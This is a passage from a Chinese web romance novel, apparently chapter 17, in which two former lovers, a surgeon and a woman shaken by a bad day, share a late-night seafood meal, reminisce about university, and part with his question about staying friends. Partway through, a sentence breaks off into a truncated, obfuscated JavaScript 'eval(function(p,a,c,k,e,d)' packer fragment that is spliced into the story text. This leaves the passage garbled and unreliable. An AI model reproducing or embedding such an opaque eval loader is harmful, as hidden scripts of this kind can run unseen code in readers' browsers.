“……起、起来吧?”她勉强的笑笑,肩膀动了两下,挣脱他的胳膊。 见她有要挣扎的意思,何酌修立刻松手。 大概是因为力的作用,加上又腿麻,穆秋吟在他松手的那一刻,整个人往后仰,一屁股坐在了地上。 而何酌修本人则是毫无阻碍的站了起来。 穆秋吟:“???” 她一愣,抬头仰脸看向何酌修,满面都是不可置信。 不是,你有毛病吧,有这样突然松手的?我的天啊,我以前是为什么会喜欢你啊?! 何酌修被她看得贼尴尬,立刻讪笑着弯腰来扶她,连连道歉:“对不住对不住,我不是故意的……” 说着看一眼她的后腰,想帮忙拍拍灰,又觉得不合适。 穆秋吟气得脸都开始发热,一边拍屁股,一边终于忍不住骂人:“你除了会说对不起,还会说什么?!” 何酌修:“……”是啊,我今晚怎么净道歉了,真要命:) 17.第十七章 其实何酌修也不是不会说别的,他缓过劲重回人间以后,语言功能就回来了。 比如:“肚子饿么?去吃点宵夜,补补体力和水分吧?” 又比如:“还怕不怕?你这是把之前二十多年没吃的苦都集中一次性吃了,这都过去了,以后就都会好了。” 穆秋吟听着他的话,笑笑没吱声。 也许是这样的吧,谁知道呢?但也无所谓了,好的坏的,要发生的事谁能控制得了。 她和何酌修在夜宵档口最外围找了张桌子坐下,头顶就是路灯,落在桌面上,光线有些朦胧,周围都是食客,热闹得好像白天。 这样的光景是在江对岸的市中心再也见不到的。 旁边那桌坐了几个大哥,一边喝啤酒一边大声说些什么,听的人听得糊里糊涂,一直坚持几见,说的人生气了,直接就开骂:“你这样的治好了也是流口水!睬你我是傻逼!” 穆秋吟听到,不禁有些莞尔。 服务员拿烫碗的热水和盆过来,何酌修顺便点菜,点了两样以后,看一眼她遮掩不住疲惫的脸孔。 到底还是要了份捞汁海鲜拼盘,又问她:“要不要啤酒?” 穆秋吟被问得一愣,喃喃反问:“……啤酒加海鲜,这个痛风套餐组合……你现在不介意了?” 以前他们一起去吃宵夜,每次她要这么干的时候,他都要在一旁努力阻止,说这样对身体不好。 那时候才二十出头,正是身体最好最抗造的时候,他都这么注意养生,怎么现在他们加起来都六十多岁了,他反而开始放飞自我? 对此何酌修解释:“给你压惊的。” 穆秋吟顿时语塞,半晌才点点头,干巴巴的道了声谢。 嗯嗯,何酌修还是那个何酌修。这样也挺好。 宵夜档口出餐很快,没过多久他们点的菜就送了过来,一份支竹羊腩煲,一份牛肉炒面,还有一盘捞汁海鲜拼盘。 何酌修把那瓶冰镇啤酒的拉环打开,递给对面的穆秋吟,然后戴上一次性手套,开始扒海鲜拼盘里的虾。 把虾的虾壳都扒干净,虾仁放回料汁里蘸一下,提溜起来放到一旁的空碗里,不能泡,泡久了会发咸,失去鲜虾特有的鲜甜。 穆秋吟正好觉得渴,喝了口啤酒润润嗓子,看着对面的人手里的动作,眉眼低垂着,神色很认真。 仿佛是在做一件极为重要的事。 多熟悉的画面,以前他们一起吃饭,如果碰上要动手的菜,他几乎都会这么做。 吃虾会帮她剥壳,吃蟹会帮她拆肉,除非她要求动手,不然何酌修恨不得喂到她嘴边。 有眼热的女同学指责她这么对男朋友太过分了,她都觉得莫名其妙,不就帮忙剥个虾壳吗,至于吗?那时候觉得这是再寻常不过的事。 如今再看这个画面,就恍然发觉,哦,当时的自己真的有被他好好照顾着,她拥有着来自何酌修的一切偏爱。 何酌修把虾都剥好了,碗放到她面前,有些疑惑的看她一下,“怎么不吃,不饿?” 穆秋吟回过神,摇摇头,懒洋洋的应:“不是,这就吃。” 她先舀了一勺羊肉,刚放到嘴边又放下,抿了抿唇,拿起筷子开始吃虾仁。 何酌修看着哭笑不得,“你慢点,这么烫,小心把嘴巴烫破皮。” 穆秋吟有点尴尬的扯了一下嘴角,又抬手捏捏耳垂,低头闷不吭声的吃了两个虾仁。 海鲜拼盘里还有文蛤、扇贝、小八爪鱼和小鲍鱼之类,味道冰凉鲜爽,就是有一点偏咸。 何酌修给她夹了一个小鲍鱼,小鲍鱼的花刀打得均匀又好看,穆秋吟却忽然想起大学最后一年,他们去毕业旅行时的事。 是班里组织的,那一年十二月的时候,挑了个时间,能去的同学都去了,去的是离容城不远的靠海的城市,玩得还算尽兴,晚上他们在海滩上烧烤,何酌修和几个男同学一起充当厨师。 那时候他们已经接近于正式分手,谈过了,还没有最终谈拢,但平时已经不怎么联络,不再像从前那样时常同进同出。 可就是都到了这个地步,何酌修烤好的第一个鲍鱼第一只虾,还是习惯性的递给她,让她吃第一口。 她以为自己早就忘了那次烧烤是什么滋味,现在却忽然想起来,是有点苦的,不知道是烤过火了,还是食材的问题,又或者别的原因。 “味道还行吧?咸不咸?”何酌修这时问道,“要是咸了的话,就先捞出来了。” 穆秋吟忙摇摇头,“不用,还可以。” 小鲍鱼的肉挺厚,一口咬下去很弹牙,嚼起来脆脆的,很爽口,也很满足。 她吃了点东西,精神好了不少,脸色看起来就好多了,何酌修留心观察着,不着痕迹的松了口气。 “羊肉不烫了,可以吃了。”他提醒道。 穆秋吟低头吃东西,闻言嗯嗯两声,头也不抬。 大概是职业病,她吃东西速度不算快,但会很大口,一下就把嘴巴塞到八分满,腮帮子肉眼可见的鼓起来了,这才停下来慢慢咀嚼。 何酌修看得有点无奈,劝道:“不是上班时间,不用吃这么着急的。” 穆秋吟闻言抬头看了他一下,眼神那叫一个不以为然,点头点得相当敷衍。 何酌修嘴角一抽,得,被鄙视了。 要不是这人这会儿嘴巴被堵着没机会说话,他就得听到她说:“哈!天真,你信不信下一秒你科室就打电话来让你回去参加抢救?什么?有值班医生?值班医生又不是你同组的,人家怎么可能帮你兜底,别逗了!” 这人会说什么,别人不知道,他难道不清楚么! 他耸耸肩,冲她比了个OK的手势,低头自己吃自己的。 牛肉炒面里加了豆芽,吃起来多了一点脆口,面也炒得干爽,镬气很足,是典型的好吃的那种炒面,他觉得干,舀了半勺羊腩煲的汤拌到一起,吃起来就湿润多了。 穆秋吟慢吞吞的咀嚼完嘴里的食物,看他还在吃面,看着也没比自己慢多少,忍不住啧了声。 接着就小声逼逼:“大哥怎么好意思说二哥。” 何酌修:“……”看吧,他就说! 好在穆秋吟也就只说了这一句,立刻又安静下来,这次不知道为什么,她好像看着他有些出神。 何酌修被她看得纳闷,忍不住迎着她的目光看回去,这一看就发现有点不对劲,她好像是在看他,又好像不是在看他。 犹豫片刻,还是忍不住好奇:“在想什么?” “我在想……”穆秋吟回过神,无奈的笑了笑,“好像这几次,都让你看到了我很狼狈的样子,觉得……有点尴尬。” 何酌修微微愣了一下,似乎觉得有些不解:“这有什么问题吗?没有人能永远保持完美。” 说完可能是觉得这样安慰不了她,于是继续:“你觉得尴尬的话,不去想想我以前的样子?我最狼狈的一面你也见过,他们一开始叫我拖油瓶,知道我和你在一起以后就改叫我癞/□□,第一次被你拉进服装店和鞋店时的不自在,第一次做实验手忙脚乱,心仪的导师说好了要我结果又放我飞机,幸好封教授觉得我不容易收下我……很多很多,木木,你见过我更多的狼狈时刻。” 这种狼狈跟她的遇到车抛锚只能站在路边,或者是想起以前的事因为害怕和委屈哭泣都不同,他那不只是狼狈,更多的是窘迫。 被同龄人嫉妒和看不起,那种嘲讽带给他的不只有尴尬,更多的是心理压力,后来被导师退选,对他造成的打击更大,甚至让他对这个职业产生了动摇,一时陷入迷茫。 ——他一开始想选的导师并不是后来的导师封荆河教授,而是另一位研究方向是颅脑外伤的教授,但是没成功,被封教授捡了回去,研究方向就变成了脑深部刺激手术治疗运动障碍病。 穆秋吟听了他的话,想了想,竟然忍不住眼睛一弯,笑了起来。 “说得也是,好像确实是这样。” 何酌修看着对面这人翘得都快能钓鱼的嘴脸,忍不住有点心塞,果然呐,幸福都是比较出来的。 听到他比她更狼狈,更丢脸,脸色立刻就好了! 但其实就算他不说,穆秋吟也会想起来,他们在一起太多年了。从男孩女孩变成男人女人,光鲜亮丽,狼狈丢人,自信满满,迷茫无助,哭也好,笑也好,幼稚或者成熟,他们都曾经见过彼此最真实而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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行吧,他说得也有道理,穆秋吟点点头。 然后说了句:“何酌修,你变了,以前你……没这么看得开。” 他从前虽然脾气好,性格温和,但那只是表面,他实际上十分渴望成功,渴望出人头地,以摆脱曾经被人嘲笑是拖油瓶和癞/□□的阴影。 但现在已经完全变了,穆秋吟能感觉得到,他看开了很多,现在的温和是从骨子里透出来的,沉稳内敛,松弛自在。 至于原因么,懂的都懂。 何酌修闻言立刻便笑:“这么多年过去,你变了,我也变了,我还胖了,心宽体胖。” 穆秋吟立刻歪头作势要打量他是不是真的胖了,何酌修被她逗得又笑起来。 吃完宵夜,结账的时候穆秋吟习惯性的让服务员扫码,结果付款码刚亮出来,就被何酌修拦住。 “以前你结账我不管,毕竟你是财政总管,但现在不一样了,还是我来。” 穆秋吟一愣,有些悻悻的收回手,抿了抿唇。 是啊,他说的没错,现在不一样了。 “下次我请你吃饭。”她半晌开口,语气重新变得客气,“今天的事……多谢你了。” 刚才畅聊的气氛瞬间荡然无存,何酌修神色顿了顿,嗯了声。 但控制不住的眼角往下一撇。 穆秋吟当做没发现,什么都没说。 结完账,何酌修送她回去,兴许是累了,一路上谁也没说话,穆秋吟尤其,她今天受了惊吓,进了派出所,又想起以前不好的事哭了一场,情绪波动太大,几乎把她的精力消耗完了。 于是一路上她靠着车门,用额头抵着车窗,有些昏昏欲睡。 何酌修把车开得很稳,等到了小区门口,她已经真的快要睡着,但车子一停,她立刻就清醒过来。 一边解开安全带,一边跟他道谢:“谢谢你送我回来,下次……” “请我吃饭,对不对?”何酌修扭头看她,笑着接她的话。 穆秋吟抿着嘴唇笑笑,嗯了声。 她推开门下车,扶着车门同他道别,刚把车门换上,就发现车窗刷一下降落下去。 接着便听见车里传出来一句:“木木,我们以后还能做朋友吗?”